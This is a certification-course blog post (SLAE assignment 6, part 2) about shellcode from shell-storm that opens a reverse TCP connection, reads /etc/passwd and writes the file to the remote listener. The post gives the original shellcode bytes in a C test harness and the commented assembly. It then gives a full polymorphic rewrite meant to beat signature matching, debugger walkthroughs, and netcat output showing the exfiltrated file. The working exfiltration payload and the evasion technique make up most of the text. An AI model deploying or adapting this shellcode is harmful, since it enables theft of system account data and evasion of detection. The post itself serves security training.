SLAE Assignment 6: Polymorphic shellcode Part 2

In Assignment 6 create polymorphic versions of shellcode from the shell-storm web site. The actual assignment has the following requirements:

  • Take up at least 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150%
  • Bonus points for making it shorter in length than the original

I have a good look on the shell-storm web site and decided to use:

Part 2: Read passwd file

For the next part of assignment 6 I’m going to look at the read_password shellcode. The shellcode:

  • makes a reverse bind connection to the defined IP address and port.
  • Reads the /etc/passwd file
  • Writes the file to the network connection file descriptor.

The web page for the shellcode contains the machine language instructions so it is very straight forward to get the program running. I’ll add then to the shellcode.c template, once compiled we can look at the instructions.

#include 
#include 

unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6"
"\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a"
"\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff"
"\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80"
"\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

main()
{
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Original shellcode

The structure of the shellcode is:

  • socketcall() – sets up the reverse network connection:
    • socket()
    • connect()
  • dup2() – redirects the Reverse Bind TCP network connection to stdout
  • open() – Opens the required file
  • read() – Reads the first 65535 characters to a buffer
  • write() – Writes the buffer contents to the stdout which is now the Reverse Bind TCP connection.
  • exit() – gracefully exit the program

The web page also provides the assembly instructions which I’ve added comments so its clear what the shellcode is doing.

_start:
; ----- Setup Reverse BIND TCP Connection -----
; socket()
 push BYTE 0x66 ; Store 0x66 on the stack
 pop eax        ; Set socketcall() system call ID value 0x66
 xor ebx, ebx   ; Zero EBX
 inc ebx        ; Set the socketcall() arg#1 sub-function ID to 1 for socket()
 xor edx, edx   ; Zero EDX Register
 push edx       ; Store the socket() arg#3 'protocol' value 0x0 on the stack
 push BYTE 0x1  ; Store the socket() arg#2 'type' value 0x1 on the stack
 push BYTE 0x2  ; Set the socket() arg#1 'domain' value 0x2 on the stack
 mov ecx, esp   ; Set the socketcall() arg#2 argument data structure pointer
 int 0x80       ; Execute system call

 mov esi, eax   ; Store the file descriptor returned by socket() in ESI

; connect()
 push BYTE 0x66 ; Set the system call ID 0x66. As the previous value was the 
                ; File descriptor which will be a low value, the register 
                ; doesn't need to be zero'd
 pop eax        ; Set socketcall() system call ID value 0x66
 inc ebx        ; Set the socketcall() arg#1 sub-function ID to 2 for connect()
 push DWORD 0x0101017f ; Store connect() arg#2 sockaddr member sin_addr 
                       ; value 127.1.1.1 on the stack
 push WORD 0x3930      ; Store connect() arg#2 sockaddr member sin_port on the 
                       ; stack value 0x3930 in Network Byte order which is 12345
                       ; in decimal
 push WORD bx  ; Store connect() arg#2 sockaddr member sin_family value to 0x2 
               ; for AF_INET
 mov ecx, esp  ; Store connect() arg#2 *addr pointer address of the sockaddr 
               ; data structure in the EDI register
 push BYTE 16  ; Set connect() arg#3 addrlen value, 16 bytes on the stack
 push ecx      ; Set connect() arg#2 *addr pointer address on the stack
 push esi      ; Set connect() arg#1 sockfd file descriptor on the stack
 mov ecx, esp  ; Set the sys_socketcall() arg#2 argument data structure pointer
 inc ebx       ; Set the sys_socketcall() arg#1 sub-function ID to 3 for 
               ; connect()
 int 0x80      ; Execute system call

; dup2()
 mov esi, eax  ; Store the value returned from connect(), zero, in ESI
 push BYTE 0x1 ; Store 0x1 on the stack
 pop ecx       ; Set dup2() arg#2 the new file descriptor value
 mov BYTE al, 0x3F ; Set system call ID value 0x3f for dup2()
 int 0x80      ; Execute system call
 
; ----- Read file and write to network connection -----
 jmp short call_shellcode    ; JMP-call-pop, get the address of the file path 
                             ; string
shellcode:
; open()
 push 0x5     ; Store 0x5 on the stack
 pop eax      ; set system call ID value 0x5 for write() 
 pop ebx      ; set write() arg#1 pointer to file path string, obtained from
              ; jmp-call-pop routine. 
 xor ecx,ecx  ; set write() arg#2 flags parameter to zero
 int 0x80     ; Execute system call

; read()
 mov ebx,eax  ; set read() arg#1 the file descriptor returned from open()
 mov al,0x3   ; set system call ID value to 0x3, read()
 mov edi,esp  ; Store the value in ESP to EDI, buffer to write to
 mov ecx,edi  ; set read() arg#2, pointer to buffer address to store read data
 xor edx,edx  ; Set read() arg#3 - the number of Bytes to read, Zero EDX
 mov dh,0xff  ; Set read() arg#3, move 0xff in dh Byte
 mov dl,0xff  ; Set read() arg#3, move 0xff in dl Byte
              ; read() arg#3, number of bytes to read set to 0xffff 
 int 0x80     ; Execute System Call

; write()
 mov edx,eax  ; set write() arg#3, the number of bytes to write, returned from
              ; the read() system call
 push 0x4     ; Store 0x4 on the stack
 pop eax      ; Set system call ID value of 0x4 for read()
 mov bl, 0x1  ; Set write() arg#1, file descriptor to write
 int 0x80     ; Execute system call

; ----- Exit program -----
; exit()
 push 0x1     ; Store 0x1 on the stack
 pop eax      ; set system call ID value to 0x1, exit()
 inc ebx      ; Set exit() arg#1, error code to return
 int 0x80     ; Execute system call
 
call_shellcode:
 call shellcode           ; jmp-CALL-pop routine
 message db "/etc/passwd" ; file path variable to read.

Looking through the shellcode instructions, this is very similar to other examples we’ve worked on for the exam. As there are a lot of instructions there should be a good chance we can reduce the total number of instructions.

Polymorphic version of Shellcode

So we now understand whats going on in the shellcode. There looks to be a couple of instructions which don’t need to be there and for the others I need to work out how to perform the same actions with different instructions.

System Call 1: socketcall – open()

In the socketcall open() system call I’ve changed the approach for setting the parameters data structure which is stored on the stack:

  • Store the current stack pointer address in the ECX register
  • Use the move instruction to set the required parameter value on the stack
  • Adjust the pointer address in the ECX register for the next stack pointer
_start:
; socketcall - socket()
 sub ebx, ebx    ; Zero EBX
 mul ebx         ; Zero EAX and EDX
 inc ebx         ; Set socketcall() sub-function ID for open(), EBX to 0x1 
 mov ecx, esp    ; Store the Stack pointer in the ECX register
 sub ecx, 0x4    ; Adjust the memory address before writing values to the stack
 mov [ecx], edx  ; Store the socket() arg#3 'protocol' value 0x0 on the stack
 mov al, 0x66    ; Set System call ID for socketcall() 
 sub ecx, 0x4    ; Adjust the memory address before writing values to the stack
 mov [ecx], ebx  ; Store the socket() arg#2 'type' value 0x1 on the stack
 sub ecx, 0x4    ; Adjust the memory address before writing values to the stack
; mov [ecx], edx ; Set '0x0' on the stack
 mov byte [ecx], 0x2 ; Set the socket() arg#1 'domain' value 0x2 on the stack
                 ; The address of the parameter data structure is already 
                 ; correctly set in the ECX register. 
 int 0x80        ; Execute the system call.

System Call 2: socketcall – connect()

The socketcall connect() system call has a similar set of parameters to connect() and therefore I’ll use a similar approach as described above.

; socketcall - connect()
 mov esi, eax   ; Store the file descriptor value returned by socket() 
 mov al, 0x66   ; Set System call ID for sys_socketcall open() 0x66
 mov ecx, esp   ; Store the Stack pointer in the ECX register
 mov DWORD [ecx], 0x0101017f ; Store connect() arg#2 sockaddr member sin_addr
                             ; value 127.1.1.1 on the stack
 sub ecx, 0x2   ; Adjust ECX for the next parameter value
 mov WORD [ecx], 0x3930 ; Store connect() arg#2 sockaddr member sin_port 
                        ; on the stack value 0x3930 in Network Byte 
                        ; order which is 12345 in decimal
 sub ecx, 0x2   ; Adjust ECX for the next parameter value
 inc ebx        ; increase EBX from 0x1 to 0x2 
 mov BYTE [ecx], 0x2 ; Store connect() arg#2 sockaddr member sin_family value to 0x2 for AF_INET
 inc ebx        ; increase EBX from 0x2 to 0x3 to set the 
                ; socketcall() arg#1 sub-function ID to 3 for connect()
 mov DWORD edi, ecx ; Store connect() arg#2 *addr pointer address of the sockaddr 
                ; data structure in the EDI register 
 sub ecx, 0x4   ; Adjust ECX for the next parameter value
 mov BYTE [ecx], 0x10  ; Set connect() arg#3 addrlen value, 16 bytes on the stack
 sub ecx, 0x4   ; Adjust ECX for the next parameter value
 mov [ecx], edi ; Set connect() arg#2 *addr pointer address on the stack
 sub ecx, 0x4   ; Adjust ECX for the next parameter value
 mov [ecx], esi ; Set connect() arg#1 sockfd file descriptor on the stack
                ; The pointer to the socketcall() arg#2 argument
                ; data structure is already correctly in the ECX register. 
 int 0x80 ; Execute the system call.

System Call 3: dup2()

The dup2() system call copies a ‘source’ file descriptor configuration and pastes it to the ‘destination’ file descriptor. Here it is being used to redirect the stdout to use the file descriptor of the reverse bind tcp network connection. The system call setup is relatively straight forward and difficult to make markedly different from the original shellcode.

; dup2
 mov BYTE al, 0x3f    ; Set System call ID for dup2(), 0x3f
 xchg ecx, edx        ; Zero ECX
 inc ecx              ; Set the New file descriptor for the dup2() system call
 int 0x80             ; Execute the system call.

System Call 4: open()

The open system call requires the file path of the file that will be opened. The file path is held in the ‘message’ variable. The memory address of the variable is obtained using the jmp-call-pop routine.

The setup for the open() system call only requires 4 lines of instructions which doesn’t leave a great deal of room for change if we are to try and keep the shellcode as small as possible. For the open() system call i’ve adjusted the order of the instructions and replaces the push-pop routine for a ‘mov’ instruction.

 jmp short call_shellcode ; JMP-call-pop to get address of path variable 
shellcode:
; open()
 pop ebx        ; set write() arg#1 pointer to file path string, pop into EBX the
                ; Current value pointed to by ESP is the address of the file path. 
 mov al, 0x5    ; Set system call ID value 0x5 for open()
 dec ecx        ; Set open() arg#2 flags parameter. The ECX reguster currently
                ; contains 0x1, therefore the instruction will Zero ECX
 mov edx, ecx   ; Zero EDX to set write() arg#3, mode
 int 0x80       ; Execute the system call.

System Call 5: read()

The read() system call reads a specified number of Bytes from the open file using the file descriptor returned by open() into a buffer. The buffer is a pointer to a memory location.

; read()
 xchg eax, ebx  ; Set read() arg#1 the file descriptor returned from open()
 xchg eax, esi  ; set system call ID value to 0x3, read()
 xor edx,edx    ; Zero EDX before setting read() arg#3 - the number of Bytes to read, 
 mov dx,0xffff  ; Set read() arg#3, move 0xffff in dx Byte
                ; read() arg#3, number of bytes to read set to 0xffff
 mov ecx,esp    ; set read() arg#2, pointer to buffer address to store read data
 sub ecx, edx   ; Adjust the stack pointer buffer address to read into 
                ; so that the stack isn't overwritten
 int 0x80       ; Execute the system call.

System Call 6: write()

The read() system call get a specified number of Bytes from a file descriptor and writes them to a buffer memory address. Write() does the opposite, it reads a specified number of Bytes from a buffer memory address and writes them to a file descriptor. For the write() system call I’ve used a combination of ‘XCHG’, XOR and INC instructions to replace the instructions used in the original shellcode.

; write()
 xchg edx,eax   ; set write() arg#3 in the EDX register, the number of bytes to 
                ; write is set using number read which is returned by the read() 
                ; system system call into the EAX register. 
                ; returned from the read() system call, the number of Bytes read
                ; EAX now contains 0xFFFF
 xchg eax, ebx  ; set system call ID for write() 0x4, tge EBX register contained 0x4
 xor ebx, ebx   ; Zero EBX
 inc ebx        ; Set the file descriptor to write to the stdout which has been 
                ; redirected by the dup2() system call 
 int 0x80       ; Execute the system call.

System Call 7: exit()

The final system call exits the shellcode gracefully which is followed by the declaration for the file path string ‘message’.

; exit()
 push 0x1   ; Store 0x1 on the stack
 pop eax    ; set system call ID for exit(), 0x1
 int 0x80   ; Execute the system call.

Data Variable

The data variable remains unchanged with the following declaration, it also has a section name and the call instruction which is used within the jmp-call-pop routine.

call_shellcode:
 call shellcode
 message db "/etc/passwd"

Verifying the shellcode doesn’t contain bad characters

The shellcode instructions are complete. We need to check that there aren’t any bad ‘0’ characters within the instructions. First the shellcode needs to be assembled without using the -ggdb option for the nasm command as this adds the .stab and .stabstr sections which will contain zeros. The ‘objdump’ tool piped to the ‘grep’ command allows us to see if there are any ‘0x0’ values within the shellcode.

objdump -D ./read_passwd -M intel | grep 00

The command doesn’t return anything, therefore there aren’t any NULL values within the shellcode.

Testing the polymorphic shellcode

I’ll run through the shellcode stopping at each system call and checking the return value etc.

Here the shellcode is about to execute the 1st system call socketcall – connect(). EAX is set with 0x66 for socketcall and the EBX register is set with 0x1 the sub-function ID for socket().

read_passwd_socket_01

After the system call we see that the new file descriptor was returned to the EAX register and the system call executed successfully. The file descriptor will be used to write the contents of the passwd file to the remote machine over the network connection which is being setup.

read_passwd_socket_02

Now i’ll check the the 2nd system call socketcall – connect(). Again the system call is about to be executed. EAX contains 0x66 for socketcall and EBX contains 0x3 for the connection sub-function.

read_passwd_connect_1

The connect() system call has been executed and returned ‘0’ to the EAX register, showing it was successful.

read_passwd_connect_2

The 3rd system call is about to be executed. For the dup2() system call setup EAX contains 0x3f with the EBX and ECX registers defining the source or old and destination or new file descriptors.

slae_a2_2_dup2_registers_setup

The dup2()  system call returns the destination or new file descriptor value to EAX, the EAX register now contains the new file descriptor 0x1.

slae_a2_2_dup2_executed_successfully

The open() system call opens the file which will be read.

slae_a2_2_open_registers_setup

Once the registers are setup for the system call I can view the path of the file that will be opened by viewing the EBX register using the examine command. As can be seen the system call is opening the /etc/passwd file.

slae_a2_2_open_file_path

When executed successfully the system call returns a new file descriptor which will be used to access the opened file.

slae_a2_2_open_executed_successfully

Next the file will be read into a buffer memory address using the read() system call. The maximum number of Bytes to be read is set in the EDX register, so if the passwd contains more than 0xFFFF or 65535 characters then any additional characters will not be read.

slae_a2_2_read_registers_setup

Once the system call has completed a successfully the number of characters actually read from the file will be returned to EAX, which now contains 0x9A7 or 2471 in decimal. slae_a2_2_read_executed_successfully

Now the file has been read into the buffer the conttents of the buffer are written to the network connection file descriptor using the write() system call. The number of Bytes to read is set in EDX and the file descriptor to write to is stdout which was redirected to the network connection by the dup2() system call.

slae_a2_2_write_registers_setup

The write() system call returns the number of Bytes written to the EAX register, which is the same as the number read above.

slae_a2_2_write_executed_successfully

All that is left to do is to close the shellcode gracefully using the exit() system call.

slae_a2_2_exit_registers_setup

Once executed the program closes and returns the value set in the EBX register.

slae_a2_2_exit_executed_successfully

If we take a look at the netcat command which was setup to receive data from the shellcode we will see the contents of the passwd have been displayed. I’ve taken a small extract from the actual output which displays the two of the default accounts which are included on an Ubuntu system.

slae_a2_2_netcat_passwd_contents

Polymorphic Shellcode Size

So now to the fun bit. The original code size is 111 Bytes in size.

slae_a2_2_original_shellcode_length

My polymorphic version of the shellcode’s size is 134

slae_a2_2_shellcode_length_poly

The requirement for the assignment was that the polymorphic shellcode shouldn’t be more than 150% of the size of the original shellcode. The polymorphic shellcode is 134 Bytes which make it 120% compared to the original shellcode, so well within the maximum size required. The increase in size is largely due to not using push and pop to set values on the stack but controlling where data is written to on the stack manually.

Final Polymorphic Shellcode

So the complete polymorphic shellcode is as follows:

global _start
_start:
; socketcall - socket()
 sub ebx, ebx       ; Zero EBX
 mul ebx            ; Zero EAX and EDX
 inc ebx            ; Set socketcall() sub-function ID for open(), EBX to 0x1
 mov ecx, esp       ; Store the Stack pointer in the ECX register
 sub ecx, 0x4       ; Adjust the memory address before writing values to the stack
 mov [ecx], edx     ; Store the socket() arg#3 'protocol' value 0x0 on the stack
 mov al, 0x66       ; Set System call ID for socketcall() 
 sub ecx, 0x4       ; Adjust the memory address before writing values to the stack
 mov [ecx], ebx     ; Store the socket() arg#2 'type' value 0x1 on the stack
 sub ecx, 0x4       ; Adjust the memory address before writing values to the stack
 mov byte [ecx], 0x2 ; Set the socket() arg#1 'domain' value 0x2 on the stack
                     ; socketcall() arg#2 argument data structure pointer
                     ; The address of the parameter data structure is already correctly
                     ; set in the ECX register. 
 int 0x80            ; Execute the system call. 
 
; socketcall - connect()
 mov esi, eax        ; Store the file descriptor value returned by socket() 
 mov al, 0x66        ; Set System call ID for sys_socketcall open() 0x66
 mov ecx, esp        ; Store the Stack pointer in the ECX register
 mov DWORD [ecx], 0x0101017f ; Store connect() arg#2 sockaddr member sin_addr
                             ; value 127.1.1.1 on the stack
 sub ecx, 0x2        ; Adjust ECX for the next parameter value
 mov WORD [ecx], 0x3930      ; Store connect() arg#2 sockaddr member sin_port 
                             ; on the stack value 0x3930 in Network Byte 
                             ; order which is 12345 in decimal
 sub ecx, 0x2        ; Adjust ECX for the next parameter value
 inc ebx             ; increase EBX from 0x1 to 0x2 
 mov BYTE [ecx], 0x2 ; Store connect() arg#2 sockaddr member sin_family value to 0x2 for AF_INET
 inc ebx             ; increase EBX from 0x2 to 0x3 to set the 
                     ; socketcall() arg#1 sub-function ID to 3 for connect()
 mov DWORD edi, ecx  ; Store connect() arg#2 *addr pointer address of the sockaddr 
                     ; data structure in the EDI register 
 sub ecx, 0x4        ; Adjust ECX for the next parameter value
 mov BYTE [ecx], 0x10  ; Set connect() arg#3 addrlen value, 16 bytes on the stack
 sub ecx, 0x4        ; Adjust ECX for the next parameter value
 mov [ecx], edi      ; Set connect() arg#2 *addr pointer address on the stack
 sub ecx, 0x4        ; Adjust ECX for the next parameter value
 mov [ecx], esi     ; Set connect() arg#1 sockfd file descriptor on the stack
                    ; The pointer to the socketcall() arg#2 argument
                    ; data structure is already correctly in the ECX register. 
 int 0x80           ; Execute the system call.

; dup2
 mov BYTE al, 0x3f  ; Set System call ID for dup2(), 0x3f
 xchg ecx, edx      ; Zero ECX
 inc ecx            ; Set the New file descriptor for the dup2() system call
 int 0x80           ; Execute the system call. 
 
 jmp short call_shellcode ;Get address of path variable jmp/call/pop
 
shellcode:
; open()
 pop ebx            ; set write() arg#1 pointer to file path string, Pop the  
                    ; memory address stored on the stack by jmp-call-pop into EBX. 
 mov al, 0x5        ; Set system call ID value 0x5 for open()
 dec ecx            ; Set open() arg#2 flags parameter. The ECX reguster currently
                    ; contains 0x1, therefore the instruction will Zero ECX
 mov edx, ecx       ; Zero EDX to set write() arg#3, mode
 int 0x80           ; Execute the system call.
 
; read()
 xchg eax, ebx      ; Set read() arg#1 the file descriptor returned from open()
 xchg eax, esi      ; set system call ID value to 0x3, read()
 xor edx,edx        ; Zero EDX before setting read() arg#3 - the number of Bytes to read, 
 mov dx,0xffff      ; Set read() arg#3, move 0xffff in dx Byte
                    ; read() arg#3, number of bytes to read set to 0xffff
 mov ecx,esp        ; set read() arg#2, pointer to buffer address to store read data
 sub ecx, edx       ; Adjust the stack pointer buffer address to read into 
                    ; so that the stack isn't overwritten
 int 0x80           ; Execute the system call.
 
; write()
 xchg edx,eax       ; set write() arg#3, the number of bytes to write, the value 
                    ; returned from
                    ; the read() system call, the number of Bytes read
                    ; EAX now contains 0xFFFF
 xchg eax, ebx      ; set system call ID for write() 0x4, tge EBX register contained 0x4
 xor ebx, ebx       ; Zero EBX
 inc ebx            ; Set the file descriptor to write to the stdout which has been 
                    ; redirected by the dup2() system call 
 int 0x80           ; Execute the system call.
 
; exit()
 push 0x1           ; Store 0x1 on the stack
 pop eax            ; set system call ID for exit(), 0x1
 int 0x80           ; Execute the system call.
 
call_shellcode:
 call shellcode
 message db "/etc/passwd"

SLAE Assignment 6: Polymorphic shellcode Part 3

The next part of assignment 6 can be found at the following URL:

https://raidersofthelostarg.wordpress.com/2017/01/20/slae-assignment-6-polymorphic-shellcode-part-3/

Source Code

The source code for the shellcode and ‘portconfig’ applications can be found in the following Git Hub repository

https://github.com/raidersofthelostarg/slae/tree/master/assignment-6

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: 

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-793

Advertisements
This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s